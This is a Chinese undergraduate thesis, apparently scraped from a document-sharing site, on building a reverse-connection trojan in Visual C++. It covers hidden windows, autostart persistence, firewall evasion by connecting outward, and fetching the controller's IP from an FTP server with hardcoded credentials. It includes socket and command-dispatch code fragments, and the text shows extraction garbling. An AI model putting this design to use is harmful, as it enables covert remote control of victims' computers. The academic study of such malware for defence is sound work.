毕业设计(论文)不弹窗木马的设计与测试_第1页
毕业设计(论文)不弹窗木马的设计与测试_第2页
毕业设计(论文)不弹窗木马的设计与测试_第3页
毕业设计(论文)不弹窗木马的设计与测试_第4页
毕业设计(论文)不弹窗木马的设计与测试_第5页
已阅读5页,还剩14页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、不弹窗木马的设计与测试不弹窗木马的设计与测试 摘摘 要要 木马是用于远程控制的黑客工具,被黑客用来远程操作他人计算机、监视 别人和盗窃别人帐号、密码和数据等,以达到破坏他人计算机、偷窃别人隐私 和得到经济利益的目的。作为网络安全管理人员,认真地研究木马攻击技术, 理清木马攻击手段与过程,提早思考应对策略是防御木马攻击的有效途径。因 此,在木马已对网络与信息安全构成极大危险的时代研究木马技术、编写木马 程序,对于防护网络安全、促进电子商务的发展具有重要的现实意义。 文中在深入研究国内外木马技术与发展方向的基础上,介绍了木马的发展 与现状以及木马组成与特性;对反弹端口木马的连接方法进行了具体详尽的

2、分 析。充分利用传统防火墙疏于对向外连接的过滤这一特点,使用 visual c+ 6.0 进行 socket 网络编程开发而成。实现了木马绕过防火墙建立连接;实现木马的 隐藏、自动运行等基本特性,让服务端光驱弹出、机箱播放音乐等功能。文中 细致地描绘了木马的功能执行过程。最后提供了全面的测试结果。 关键词关键词:木马;反弹端口;服务端;客户端;套接字 design and implementation of rebound ports trojan horse abstract the trojan horse is a kind of hackers tool which is used f

3、or remote control and operating others computers, monitoring and stealing others account numbers, passwords and data and so on, in order to destroy others computers or get their privacy and economic interests. as the internet security manager, we should pay attention to preventing the trojan horse w

4、hen we detect and delete the trojan horse. we must study the technology of the trojan horse attack, clear the means and process of the trojan horse to find an efficient path to prevent the trojan horse attack ahead of time. so at the time that the trojan horse is dangerous to the network and securit

5、y of information, we should study the technology of the trojan horse and code the trojan horse programs, which is significant to protect the internet security and promote the development of the e-business. the thesis is writen on the bases of deeply studying the trojan horse technique and developmen

6、t orientation at home and overseas, then, introduces the development and current situation of trojan horse and its component as well as characteristics. this thesis analyzes the method of how to connect with rebound ports trojan horse in detail. making full use of which the firewall neglect to filte

7、r the rebound ports trojan horse, it is developed by visual c+6.0. the design has realized the function which the service could connect the client actively, also implemented the basic characteristics of concealment, automatic running, rebounding the cd-rom of services, chassis playing music and so o

8、n. at last the paper describes the progress of executing trojan horse and affords all-around test result. key words: trojan horse; rebound port; service port; client port; socket 目目 录录 论文总页数:19 页 1引言.1 1.1课题背景.1 1.2国内外研究现状.1 1.3课题研究的意义.2 1.4课题的研究方法.2 2相关理论基础.2 2.1木马概述.2 2.1.1 木马的组成.3 2.1.2 木马的特征.3 2

9、.1.3 反弹端口木马介绍.4 2.2c/s 模式.4 2.3套接字(socket).5 2.4visual c+ 6.0.5 3需求分析.5 3.1系统规格说明.5 3.1.1 木马的概貌.5 3.1.2 功能要求.6 3.1.3 性能要求.6 3.1.4 运行要求.6 3.2数据要求.6 3.3用户系统描述.7 4木马的设计与实现.7 4.1木马结构设计.7 4.1.1 木马的主体设计.8 4.1.2 木马的自动启动实现.8 4.1.3 木马的窗口隐藏实现.9 4.2木马连接过程.9 4.2.1 连接过程理论研究.9 4.2.2 木马连接过程实现.11 4.3木马的远程控制功能设计.13

10、4.3.1木马的功能实现.13 4.3.2木马的功能执行过程.14 5测试.15 5.1测试环境.15 5.2测试过程与结果.15 结 论.17 参考文献.17 1 1 引言引言 1.11.1 课题背景课题背景 随着计算机及网络技术的飞速发展,internet/intranet 应用在全球范围 内日益普及,它们带来世界范围内的信息共享,它采用的 tcp/ip 协议,提供的 电子邮件、远程登录、文件传输、www 服务,极大的方便了人们的信息交换和 信息共享,随着 internet 逐渐渗透到生产和生活中的各个领域,网络在快捷、 方便地带来大量信息的同时,也带来诸多安全问题。当今社会在快速向信息化

11、 社会前进时,信息的安全也显得越来越重要。日前,我国网络安全面临严峻的 形势。因特网上频繁发生大规模的黑客入侵与计算机病毒泛滥事件使我国很多 政府部门、教育和商业机构都受到不同程度的侵害,甚至造成极坏的社会影响 和经济损失。而木马是黑客入侵的重要工具,木马技术也在不断更新,它们通 过占用系统资源、破坏系统文件、窃取帐号和密码、盗取机密文件等,给个人 或单位带来不可弥补的灾难和巨大的经济损失,因此有效地防范病毒感染和木 马程序,降低灾难的可能性迫在眉睫。 1.21.2 国内外研究现状国内外研究现状 木马从诞生到现在已经经历了五代的发展了。第一代木马(伪装型病毒) , 通过伪装成一个合法性程序诱骗

12、用户上当,这是最为原始的木马,还只具有破 坏性;第二代木马(aids 型木马) ,利用现实生活中的邮件进行散播,第二代 木马已具备了传播特征,冰河可以说为是国内木马的典型代表之一;第三代木 马(网络传播性木马) ,添加了“后门”功能,添加了击键记录等功能,这一代的 木马都基于网络的客户端/服务器应用程序。具有搜集信息、 执行系统命令、 重新设置机器、重新定向等功能,出现了 icmp 等类型的木马,利用畸形报文 传递数据,增加了查杀的难度;第四代木马在进程隐藏方面,做了大的改动, 采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入 dll 线程,或者 挂接 psapi,实现木马程序的隐藏,甚

13、至在 windows nt/2000 下,都达到了良好 的隐藏效果;第五代木马可以说是病毒性木马,实现像病毒那样直接感染。 当前的木马已经进入了新的发展阶段,除继承了前三代木马的特性外,又 形成了其新的特性,首先,其功能更加强大,已经由单一功能发展到综合性木 马,向远程控制发展,像 netspy(网络精灵)这样的木马,除了能在服务端执 行指定程序、关机操作、发送信息、显示屏幕还能对服务端的进程进行操作, 以及能像操作本机文件一样操作服务端文件。其次,为了逃过杀毒软件的检测, 躲过用户的发现,其隐藏和自启动有了长足的发展,通过隐藏窗口、共用端口, 利用把木马程序写成 dll 动态链接库隐藏进程,

14、加强了木马的隐蔽性,加大了用 户发现和找出木马程序的难度;通过修改文件名或图标、关联文件、写注册表、 修改启动文件(win.ini、system.ini)等手段实现开机自动运行;为绕过防火墙 的检查,也出现了反弹端口的木马,如网络神偷。 1.31.3 课题研究的意义课题研究的意义 木马程序使得远端的黑客能够享有系统的控制权,对网络和计算机系统的 安全构成了极大的威胁。 “知己知彼,百战不殆” ,作为专业的网络安全工作者, 如果想有效地降低木马程序带来灾难的可能性,找出防御木马攻击的有效途径, 就必须认真地研究木马攻击的技术。在研究木马攻防的过程中,如果能够理清 木马攻击手段的发展脉络,就有可能

15、进一步找出木马发展的趋势,并提早思考 应对策略。如传统的木马一般直接利用 tcp/ip 协议进行控制端和被控制端通信, 这种通信可以使用 snifer 工具监听。分析该通信的特征就可以从中寻找木马的 蛛丝马迹。基于网络的木马入侵探测系统的工作原理正是通过对网络上传输的 实际分组的内容进行测试、对分组结构进行识别来分析网络中使用的协议并从 其中抽取木马相关信息。一旦木马开发者利用诸如隐蔽信道之类的技术使得信 道不再具有明显的特征,对此类检测手段将产生致命性的打击。网络安全工作 者必须未雨绸缪,对此先行研究以及早提出应对方案。 木马攻击与防范是矛盾的两个方面,攻击和防范技术在不断地相互较量中 也不

16、断地相互促进,这个过程还将依然持续下去。 1.41.4 课题的研究方法课题的研究方法 先从网上查阅木马相关资料,了解木马的发展以及当前木马技术水平,深 刻领会木马攻击以及木马程序的工作原理,加强程序编码的学习,学会 windows 网络编程,之后进行各部分的程序设计,然后进行代码调试,逻辑功 能调试以及木马种植和木马攻击的测试。在设计中以需求分析为基础,写出实 现流程及相关问题的实现方法 2 2相关理论基础相关理论基础 本木马采用 c/s 工作模式,由客户端和服务端两部分组成,服务端作为被 控端运行在目标计算机上,接收指令,根据指令执行相应的操作;客户端作为 主控端运行在用户计算机向服务端发送

17、指令。编码上是利用 vc+进行 socket 网络编程,使用 visual c+ 6.0 进行编译。 2.12.1 木马概述木马概述 特洛伊木马,简称木马,英文叫做“trojan horse” ,其名称取自希腊神话 的特洛伊木马记。木马是一种基于远程控制的黑客工具。它通过在你的电脑系 统隐藏一个会在 windows 启动时悄悄运行的程序,采用服务器/客户机的运行方 式,从而达到在你上网时控制你的电脑的目的。黑客可以利用它窃取你的口令、 浏览你的驱动器、修改你的文件、登录注册表等等。 .1 木马的组成木马的组成 一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。 (1)硬

18、件部分:建立木马连接所必须的硬件实体。控制端:对服务端进行远 程控制的一方。服务端:被控制的一方。internet:控制端对服务端进行远程 控制,数据传输的网络载体。 (2)软件部分:实现远程控制所必须的软件程序。控制端程序:控制端用以 远程控制服务端的程序。木马程序:潜入服务端内部,获取其操作权限的程序。 (3)具体连接部分:通过 internet 在服务端和控制端之间建立一条木马通 道所必须的元素。控制端 ip,服务端 ip:即控制端,服务端的网络地址,也是 木马进行数据传输的目的地。控制端端口,木马端口:即控制端,服务端的数 据入口,通过这个入口,数据可直达控制端程序或木马程序。 2.1

19、.22.1.2 木马的特征木马的特征 木马程序有许多种不同的种类,那是受不同的人、不同时期开发来区别的, 如 backorifice(bo)、 backorifice2000、netspy、picture、netbus、asylum、冰河等等这些都属于 木马病毒种类。综合现在流行的木马程序,它们都有以下基本特征: 1、隐蔽性 木马必需隐藏在被攻击计算机的系统之中,它会想尽一切办法不让被攻击 者发现它。其隐蔽性主要体现在以下两个方面: a、不产生图标 ,它虽然在你系 统启动时会自动运行,但它不会在“任务栏”中产生一个图标; b、木马程序 自动在任务管理器中隐藏,并以“系统服务”的方式欺骗操作系统

20、。 2、自动运行性 木马必须在系统启动时能自动运行,所以它必需潜入在你的启动配置文件 中,如 win.ini、system.ini、winstart.bat 以及启动组等文件之中或者注册 表的启动项中。 3、木马程序具有欺骗性 木马程序要达到其长期隐蔽的目的,就必需借助系统中已有的文件,以防 被你发现,它经常使用的是常见的文件名或扩展名,如 “dllwinsysexplorer 等字样,或者仿制一些不易被人区别的文件名,如字 母“l”与数字“1” 、字母“o”与数字“0” ,常修改基本个文件中的这些难以 分辨的字符,更有甚者干脆就借用系统文件中已有的文件名,只不过它保存在 不同路径之中。还有的

21、木马程序为了隐藏自己,也常把自己设置成一个 zip 文 件式图标,当你一不小心打开它时,它就马上运行。等等这些手段那些编制木 马程序的人还在不断地研究、发掘,总之是越来越隐蔽,越来越专业,所以有 人称木马程序为“骗子程序” 。 4、自动恢复功能 现在很多的木马程序中的功能模块已不再是由单一的文件组成,而是具有 多重备份,可以相互恢复。 5、自动打开特别的端口 木马程序潜入个人的电脑之中的目的不主要为了破坏被攻击计算机的系统, 更是为了获取其系统中有用的信息,这样就必需当被攻击计算机上网时能与远 端客户进行通讯,这样木马程序就会用服务器/客户端的通讯手段把信息告诉黑 客们,以便黑客们控制目标机器

22、,或实施更加进一步入侵企图。 6、功能的特殊性 通常的木马的功能都是十分特殊的,除了普通的文件操作以外,还有些木 马具有搜索 cache 中的口令、设置口令、扫描目标机器人的 ip 地址、进行键盘 记录、远程注册表的操作、以及锁定鼠标等功能。 .3 反弹端口木马介绍反弹端口木马介绍 反弹端口木马是木马开发者在分析了防火墙的特性后发现:防火墙对于连 入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。于是, 与一般的木马相反,反弹端口型木马的服务端 (被控制端)使用主动端口,客户 端 (控制端)使用被动端口。木马定时监测控制端的存在,发现控制端上线立即 弹出端口主动连

23、结控制端打开的主动端口;为了隐蔽起见,控制端的被动端口 一般开在 80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是 类似 tcp userip:1026 controllerip:80established 的情况,稍微疏忽一点, 被攻击者就会以为是自己在浏览网页。一般防火墙都会让用户向外连接 80 端口, 这样木马就绕过防火墙的过滤与主控端建立连接,为入侵做好准备。 2.22.2 c/sc/s 模式模式 c/s(client/server,客户端/服务器)模式又称 c/s 结构。即大家熟知的 客户机和服务器结构。它是软件系统体系结构,通过它可以充分利用两端硬件 环境的优势,将任

24、务合理分配到 client 端和 server 端来实现,降低了系统的 通讯开销。client 端的任务是将用户的要求提交给 server 端,再将 server 端 返回的结果以特定的形式显示给用户;server 端的任务是接收客户端提出的服 务请求,进行相应的处理,再将结果返回给客户端。 2.32.3 套接字(套接字(socketsocket) 套接字(socket)最初是由加得福尼亚大学 berkeley 分校为 unix 操作系 统开发的网络通信接口。目前已经成为最流行的网络通信应用程序接口之一。 应用层通过传输层进行数据通信时,tcp 和 udp 会遇到同时为多个应用程序进 程提供并

25、发服务的问题。多个 tcp 连接或多个应用程序进程可能需要通过同一 个 tcp 协议端口传输数据。为了区别不同的应用程序进程和连接,许多计算机 操作系统为应用程序与 tcpip 协议交互提供了称为套接字(socket)的接口。 区分不同应用程序进程间的网络通信和连接,主要有 3 个参数:通信的目的 ip 地址、使用的传输层协议(tcp 或 udp)和使用的端口号。socket 原意是“插座” 。 通过将这 3 个参数结合起来,与一个“插座”socket 绑定,应用层就可以和传 输层通过套接字接口,区分来自不同应用程序进程或网络连接的通信,实现数 据传输的并发服务。socket 实际上是指一个通

26、信端点,借助于它,用户所开发 的 socket 应用程序,可以通过网络与其他 socket 应用程序进行通信。 2.42.4 visualvisual c+c+ 6.06.0 visual c+6.0 是微软公司推出的开发 win32 应用程序(windows 95/98/2000/xp/nt)的、面向对象的可视化集成工具。它的最大优点就是提供 了功能强大的 mfc 类库,mfc 是一个很大的 c+类层次结构,其中封装了大量的 类及其函数,很多 windows 程序所共有的标准内容可以由 mfc 的类来提供,mfc 类为这些内容提供了用户接口的标准实现方法,程序员所要做的就是通过预定 义的接口

27、把具体应用程序特有的东西填入这个轮廓,这将简化编程工作,大大 的减少程序员编写的代码数量,使编程工作变得更加轻松容易。 3 3需求分析需求分析 3.13.1 系统规格说明系统规格说明 .1 木马的概貌木马的概貌 “反弹端口木马的设计与实现”包含服务端和客户端两部分。 服务端是植入目标计算机的一个程序,该程序能够隐藏窗口,运行后不被 用户发觉,并能在被攻击计算机的系统启动时自动加载,上线时便向客户端发起 连接。 客户端为用户提供控制被攻击计算机的可视化界面,提供各种功能操作按 钮,单击各按钮便能在被攻击计算机上进行相应的操作,方便用户操作被攻击 计算机。 .2 功

28、能要求功能要求 实现给被攻击计算机发送信息显示在其桌面上、弹出弹入被攻击计算机的 光驱、关闭显示器、移动鼠标、让被攻击计算机的机箱播放指定音乐、给被攻 击计算机的屏幕一个屏幕布(整个桌面只显示一个颜色)等“破坏性”操作。 .3 性能要求性能要求 客户端界面应当简单、友好、方便使用和操作;木马的服务端是用作植入 被攻击计算机内的可执行文件,为了木马的传输和不被发现,服务端程序应设 计得精练,占空间小。为提高执行速度,从客户端发送到服务端的信息应尽量 的少。 传统木马服务器端都开启一个端口进行监听,等待客户端的连接,但对安 装有防火墙或通过代理上网的计算机,就无法建立连接。利用防火

29、墙对于向内 的连接往往会进行非常严格的过滤,对于向外的连接却疏于防范这一特点。让 木马的客户端开启端口进行监听,让服务端向客户端发起连接请求,通过这一 方式建立连接,达到“反弹”的目的,这样就能绕过防火墙攻击局域网内的计 算机了。 .4 运行要求运行要求 设计出的木马应当能在当前大量使用的操作系统上都能运行,如:windows 2000、windows xp、windows 2003;能在较低的硬件配置上运行,如 128m 的内 存,amd 1800+的处理器。 3.23.2 数据要求数据要求 木马的结构中,客户端是相当于一个系统的前台,为用户提供了一个操作 界面,而几乎所有的

30、操作都是在服务端这个后台处理程序运行的,客户端界面 提供的操作可分为连接、动作、和信息三个模块。连接和信息模块是在客户端 运行的,而动作模块作为木马的核心,最终是在服务端运行实现的。木马的功 能结构层次可用图 1 来描述。 信息 清除 木马 动作 屏幕布 光驱弹出 播放音乐 光驱弹入 鼠标移动 发送信息 关闭显示器 关闭客户端 断开连接 连接 等待连接 图 1 功能结构层次图 3.33.3 用户系统描述用户系统描述 攻击者通过文件名或文件图标等方式诱骗他人下载并运行服务端,服务端 经过第一次运行后就能在系统启动时自动加载了,攻击者单击“等待连接”让 客户端处于监听状态,与服务端连接成功后,客户

31、端会弹出对话框显示与服务 器连接成功的提示,之后,攻击者可以通过单击“动作”中的“光驱弹出”等 按钮对被攻击计算机进行各种操作。每次操作成功后都会在信息栏中显示相应 的提示信息,并能查看到操作的历史记录。 4 4木马的设计木马的设计与实现与实现 4.14.1 木马结构设计木马结构设计 4.24.2 木马连接过程木马连接过程 .1 连接过程理论研究连接过程理论研究 传统木马就是一种基于“客户机服务器”模式的远程控制程序,它让被 攻击的计算机运行服务器端的程序,这个服务器端的程序会在被攻击的计算机 上打开监听的端口。这就给黑客入侵用户计算机打开了一扇进出的门,然后黑 客就可以利用木

32、马的客户端入侵用户的计算机系统。 应答数据 请求数据 建立连接 服务端 connect socket read 处理服务请求 write close 客户端 accept bind socket listen 阻塞,等待连接 write read close 图 4 客户端与服务端 socket 连接过程 常见的普通木马,是驻留在用户计算机里的一段服务程序,而攻击者控制 的则是相应的客户端程序。服务程序通过特定的端口,打开用户计算机的连接 资源。一旦攻击者所掌握的客户端程序发出请求,木马便和他连接起来,将用 户的信息窃取出去。在这个过程中我们发现此类木马的最大弱点,在于攻击者 必须和用户主机建

33、立连接,木马才能起作用。随着防火墙技术的提高和发展, 基于 ip 包过滤规则来拦截木马程序可以很有效地防止外部连接,所以有了对外 部连接审查严格的防火墙,黑客在无法取得连接的情况下,这样的木马很难工 作起来。再厉害的木马也无所作为了。同样,局域网内通过代理上网的电脑, 因为是多台共用代理服务器的 ip 地址,而本机没有独立的互联网 ip 地址(只 有局域网内部的 ip 地址) ,所以此时木马也不能正常使用,就是说传统型木马 不能访问装有防火墙和在局域网内部的服务端主机。 在这种情况下,传统的木马已无用武之地,为了能绕过防火墙,充分利用 防火墙对于向内的连接往往会进行非常严格的过滤,对于向外的连

34、接却疏于防 范。内部发起的连接请求无条件信任的特点,假冒是系统的合法网络请求来取 得对外的端口,再连接到木马的客户端,从而建立起服务端与客户端的连接, 达到控制目标计算机的目的。进而设计出一种新型木马反弹端口木马。其 建立连接的过程可用图 4 来描述。 如图 4 所示,运行在主控端计算机上的客户端先创建一个套接字,绑定之 后便处于监听状态,等待服务端的连接请求。目标计算机上线后,同样创建新 的套接字,然后向客户端发起连接请求,两端建立好连接后,客户端便可以向 服务端发送请求数据,即命令,服务端收到命令后将执行相应的操作。这样客 户端就达到控制被控端计算机的目的。 .2 木马连接

35、过程实现木马连接过程实现 假设攻击网络的拓扑结构如图 5 所示,被攻击者处于图中的左端,ip 地址 为 05,攻击者处于图中的右端,ip 地址为 31,由 于一般主机上网的公网 ip 地址不是固定的,为了能让服务端能准确的连接到攻 击者的计算机,攻击者必需让服务端得到其最新的 ip 地址,所以木马程序为解 决这一问题,采用的办法步骤如下: 1、攻击者每次开机后运行木马的客户端,程序处于监听状态; 2、登录图中的 ftp 服务器,修改其中存有客户端 ip 地址的文件 ipaddress.txt,将自己当前的 ip 地址写入该文件中; 3、被攻击者

36、开机后会自动运行木马的服务端,服务端程序首先去访问图中 的 ftp 服务器,下载 ipaddress.txt 文件到本地计算机上; 4、服务端读取 ipaddress.txt 文件获取客户端的 ip 地址,然后向该 ip 地 址的主机发起连接请求; 5、客户端接受连接请求,连接建立成功。 图 5 攻击网络拓扑结构 木马客户端运行后应先单击“等待连接”来让客户端处于监听状态,单击 该按钮将触发 clientdlg.cpp 文件中事件函数 onconnectbutton,其实现监听 的代码如下所示: void cclientdlg:onconnectbutton() myclient.create

37、 (20007);/ myclient 对象调用 create 方法,创建 套接字,打开 2007 端口 myclient.bind (20007); /绑定 myclient.listen (1); /监听 m_info.replacesel(rn 监听中.); 木马服务端运行后,在连接前应到 ftp 服务器上获取客户端的 ip 地址,其 实现核心代码如下: cinternetsession session; cftpconnection* pconn=null; pconn=session.getftpconnection(31,admin,123456, 21);

38、/创建一个 ftp 连接对象 cstring localfile; getcwd(localfile, 80); pconn-getfile(ipaddress.txt,localfile); /下载文件到本地 pconn-close(); session.close(); 服务端得到客户端 ip 地址后应该主动向客户端发起连接,其实现是在 serverview.cpp 中的 create 函数中,核心代码如下: cfile ipfile(ipaddress.txt,cfile:moderead);/打开当前运行文件 路径下的/ipaddress.txt 文件 ipfile.read(p,20

39、); /读取文件,并将文件内容存放在指针 p 中 ipfile.close(); ip=cstring(p); server.create ();/创建套按字 server.connect(ip,20007); /连接 ip 地址为 ip 的主机的 20007 端口 客户端在监听状态时收到连接请求后,将进行接受请求,此过程是在 mysocket.cpp 中实现的,收到连接请求将触发文件中的 cmysocket 类中的 onaccept()重载函数,其实现代码如下,至此整个连接过程完成。 void cmysocket:onaccept(int nerrorcode) /函数重载 if(accep

40、t(serversocket)/接受连接请求 afxmessagebox(与被控端连接成功!);/在客户端弹出连接成功的信 息提示框 ; 4.34.3 木马的远程控制功能设计木马的远程控制功能设计 .1 木马的功能实现木马的功能实现 在木马的客户端界面上分别添加“光驱弹出” 、 “光驱关闭” 、 “鼠标移动” 等按钮,并分别给它们添加事件驱动函数。再双击按钮为各函数添加代码,代 码主要是通过套按字向服务端发送命令代码字符串。 在服务端的 mysocket.cpp 文件中的 cmysocket 类中重载 onreceive()函数, 当收到信息后就对命令代码字符串进行判定,通过其

41、值去调用 actions 类中的 相应函数。这些函数通过执行代码或调用系统的 api 函数让被控计算机执行相 应的操作。 表 2 命令与函数对应表 表 1 按钮与命令对应表 操作按钮函数命令代码 ondiskpopoutdisk_pop_out oncoverscrscreen_cover onsendmesmessage_pop ondiskpopindisk_pop_in oncloseserclose_server onclose monitor monitor_ shut_up oncursormovecursor_move onplaymusicplay_music 命令代码 发送命

42、令代码 攻击 计算机 点击 按钮 被攻击 计算机 解读 命令 调用 函数 命令代码 代码命令代码操作函数 1disk_pop_outdiskpopout() 2screen_covercoverscreen() 3message_popshowmessage() 4disk_pop_indiskpopin() 5close_server closealld ocuments() 6monitor_shut_upshutupmonitor() 7cursor_movecursormove() 8play_musicplaymusic() 图 5 木马功能实现流程图 这样在服务端与客户端运行并成功

43、建立连接后,攻击者通过点击客户端界 面上的各种按钮就能驱动相应的事件函数,在事件函数中向被攻击计算机发送 命令代码,如图 5 中表 1 的每一个操作按钮与事件函数。此过程可用图 5 的流 程来描述木马功能的实现过程。 图 5 中表 1 是客户端操作按钮与事件函数以及以及事件函数发送的命令代 码字符串的对应表;表 2 是服务端命令代码与相应的操作函数对应表。 .2 木马的功能执行过程木马的功能执行过程 由于木马的各功能的执行过程基本相同,不妨以“光驱弹出”按钮为例来 描述木马功能的执行过程。 当用户单击“光驱弹出”按钮后,程序就执行 cclientdlg 对话框类下的 ondis

44、kpopout()事件函数,该函数将用语句 myclient.serversocket.message.uacttype = disk_pop_out; 把 disk_pop_out 赋值给 myclient 对象中的 uacttype 成员变量,然后利用 myclient 的成员对象 serversocket 的 send 方法把 disk_pop_out 指令代码发 送到服务端,其 vc 代码如下: myclient.serversocket.send(char*)( 最后在图 3 中的信息栏中显示“服务端光驱弹出”的提示信息和显示当前 系统时间。vc 代码为: m_info.replac

45、esel(rn 服务端光驱弹开!);/在信息栏显示提示信息 getservetime();/得到系统时间 被攻击计算机的服务端收到数据包后触发 onreceive()函数,在该函数中首 先是从数据缓冲区中读取数据,并赋值给字符串变量 strr,然后解读 strr 中 的 uacttype 变量,得到命令代码,通过命令代码的值去调用相应的函数,在服 务端程序中已经对命令代码进行了宏定义,如 disk_pop_out 就宏定义为 1,不 妨设获取的命令代码为 disk_pop_out,服务端就判定代码为 disk_pop_out 就 执行 actions 类的 myaction 对象中的 disk

46、popout()函数,在 diskpopout()函 数体中的调用系统提供的函数 mcisendstring(set cdaudio door open wait,null,0,null); 将弹出服务端计算机的光驱。至此,攻击者已经通过单击“光驱弹出”按 钮将服务端计算机的光驱弹出。其过程也可简单用图 6 的流程来描述。 图 6 光驱弹出执行流程图 与“光驱弹出”相同,攻击者在单击别的操作按钮时也执行相应的函数, 发送相应的命令代码,服务端收到数据后,首先解包获取命令代码,再根据命 令调用对应的操作函数,执行相关语句产生相应效果。 5 5测试测试 5.15.1 测试环境测试环境 amd 1800+处理器、256m 内存的计算机两台,一台计算机装有 windows xp,另一台装有 windows 2003 并搭建 ftp 服务器。 5.25.2 测试过程与结果测试过程与结果 让两台计算机都通过校园网连接到 internet 上,装有 windows 2003 的计 算机运行木马的客户端来作为主控端,先在该计算机上搭建 ftp 服务器,在根 目录下建立名为 ipaddress.txt 文件,在文件中写入主控端计算机的 ip 地址; 装有 windows xp 的计算机开启天网防火墙并运行服务端作为被控端。客户端单 击“等待连接”按钮让客户端处于监听

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论